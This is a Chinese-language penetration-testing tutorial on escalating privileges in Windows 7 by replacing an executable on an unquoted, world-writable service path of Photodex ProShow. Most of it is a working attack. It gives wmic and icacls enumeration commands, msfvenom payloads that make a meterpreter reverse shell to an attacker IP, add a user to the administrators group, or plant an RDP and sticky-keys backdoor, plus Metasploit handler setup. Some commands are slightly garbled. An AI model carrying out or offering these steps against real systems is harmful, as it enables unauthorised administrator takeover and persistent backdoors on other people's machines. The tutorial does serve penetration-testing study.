Windows平臺下實現提權的新姿勢
在這篇文章中,我們將給大家演示如何通過無引號服務路徑來實現在Windows平臺下的提權。在滲透測試的過程中,當我們以本地使用者身份生成命令Shell時,我們是無法檢查受限檔案或目錄的,因此我們才需要拿到管理員訪問權。
無引號服務路徑漏洞
這個漏洞跟可執行檔案的路徑有關,如果檔名中存在空格,或者檔案路徑沒有包裹在雙引號之中,那攻擊者就可以用惡意exe檔案替換掉原本合法的exe檔案,並實現提權。
環境搭建
目標主機:Windows 7
攻擊主機:Kali Linux
首先,我們需要在目標Windows系統中下載並安裝一個名叫photodex proshow的包含漏洞的應用程式,下載映象可以在 ofollow,noindex" target="_blank">Exploit DB 上找到。
生成目標主機
為了拿到meterpreter會話,我們至少要成功入侵目標Windows裝置一次,你可以從下圖中看到,我們已經拿到了目標主機的meterpreter會話了。現在,開啟命令Shell:
shell
你可以看到,我們拿到的shell訪問權是本地使用者local_user,為了拿到cmd的管理員許可權,我們就需要提權。首先,我們可以枚舉出目標主機上正在執行的所有服務,並找出那些沒有被雙引號包裹的服務路徑,這一步可以用下列命令實現:
wmic service get name,displayname,pathname,startmode |findstr /i "auto"|findstr /i /v "c:\windows\\" |findstr /i /v """
這裡,我們枚舉出了下列路徑:
C:\ProgramFiles\Photodex\ProShow Producer\Scsiaccess.exe
這個路徑沒有被雙引號包裹,而且檔名中也存在空格。
現在,我們需要使用下列命令識別檔案目錄許可權:
icacls Scsiaccess.exe
你可以看到,它給任何人都提供了寫入許可權,這也就意味著任何使用者都可以重寫該檔案:
通過程序遷移實現提權
現在,我們只需要把惡意exe放在同一資料夾內,它就自動擁有管理員許可權了,當服務重啟之後,Windows將啟動這個惡意exe。
在Kali Linux中開啟終端,然後通過下列命令使用msfvenom生成惡意exe Payload:
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.107 lport=1234prependmigrate=true prepenmigrateprocess=explorer.exe -f exe >/root/Desktop/scsiaccess.exe
上面的命令將在桌面生成一個惡意exe檔案,然後將該檔案傳送給目標主機。Payload會嘗試遷移惡意程序,如果使用者通過程序ID終止了當前程序的執行,攻擊者也不會丟失會話和Payload的控制權。
現在,用惡意exe替換掉合法的可執行檔案,這裡我把合法Scsiaccess.exe重新命名為了Scsiaccess.exe.orginal,並將惡意Scsiaccess.exe上傳到了同一資料夾內,然後重啟目標主機:
movescsiaccess.exe scsiaccess.exe.orginal upload/root/Desktop/ scsiaccess.exe
reboot:
與此同時,我在新的終端裡開啟了多個handler監聽器來捕捉meterpreter會話:
use exploit/multi/handler msf exploit(multi/handler) set payload windows /meterpreter/reverse_tcp msf exploit(multi/handler) set lhost 192.168.1.107 msf exploit(multi/handler) set lport 1234 msf exploit(multi/handler) exploit
一段時間之後,我們就能夠拿到擁有管理員許可權的shell了:
通過新增管理員組使用者來實現提權
使用local_user許可權生成了shell之後,我們就可以在沒有管理員許可權的情況下列舉完整的使用者名稱列表了。這裡我們發現,使用者raaz不是管理員組的成員:
net user net user raaz
同樣的,我們生成了一個exe檔案,並用它來將使用者raaz新增到了管理員組中,我們生成的惡意exe檔名還是叫Scsiaccess.exe:
msfvenom -p windows/exec CMD='net localgroup administrators raaz /add' -f exe >/root/Desktop/scsiaccess.exe
重複上述步驟,用惡意exe檔案替換掉同一目錄下的合法exe,然後重啟目標主機:
仔細看下面的截圖,你就會發現使用者raaz已經成為了管理員組成員了:
通過RDP&Sticky_key實現提權
使用msfvenom生成一個相同檔名(Scsiaccess.exe)的exe檔案,然後將其傳送至目標主機,同時利用自動執行指令碼開啟多個監聽器,這樣將會啟用RDP服務:
use exploit/multi/handler msf exploit(multi/handler) set payload windows /meterpreter/reverse_tcp msf exploit(multi/handler) set lhost 192.168.1.107 msf exploit(multi/handler) set lport 1234 msf exploit(multi/handler) set AutoRunScript post/windows/manage/enable_rdp msf exploit(multi/handler) exploit
類似的,當目標服務重啟之後,我們可以設定自動執行指令碼來啟用sticky_keys:
msf exploit(multi/handler) set AutoRunScript post/windows/manage/sticky_keys msf exploit(multi/handler) run
你可以從下圖中看到,命令開啟了另一個meterpreter會話(session 3),這個會話擁有管理員許可權,現在我們就可以通過RDP與目標主機建立連線了:
rdp 192.168.1.101
接下來,連續按下5次shift鍵,你將會拿到擁有管理員許可權的命令列視窗: